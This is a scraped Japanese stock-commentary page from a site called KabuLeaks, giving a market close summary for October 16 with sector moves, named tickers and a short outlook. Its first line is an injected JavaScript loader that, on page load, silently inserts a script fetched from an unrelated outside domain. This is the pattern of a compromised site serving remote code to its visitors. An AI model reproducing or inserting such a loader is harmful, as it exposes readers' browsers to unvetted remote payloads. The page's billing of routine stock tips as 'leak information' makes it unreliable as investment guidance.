;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【10/16 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【10/16 大引け】

本日の日経平均株価は194円高と大幅続伸。後場の日経平均は来週から本格化する決算を様子見する動きや週末要因からの手仕舞い売りに押され上げ幅を縮小した。業種別では、33業種中、31業種が上昇。特に追加緩和期待などから不動産、その他金融などの上昇が目立った。一方、値下がりは小売業、建設業の2業種のみ。

個別では、緩和メリットセクターで不動産の【4321】ケネディクス、ノンバンクの【8515】アイフルなどが上昇。先日同様、特段の材料は確認されていなものの、【6079】エナリスが急伸したほか、後場からは【4783】日本コンピュータ・ダイナミクス、【8462】フューチャーベンチャーキャピタルなどが一段高となった。

米国の利上げに関しては見送りの公算が高いほか、日本は政策期待、追加緩和への思惑もあり週明け以降も底堅く推移する可能性が高い。ただ、ここから更に上値を追うにはやや材料不足といった面もあるだけに目先は決算期待への思惑が強い銘柄。直近材料から好調な中小型株をメインの個別売買。また、緩和メリットセクターなど月末の会合へ向け仕込んでおくのも面白いかと思う。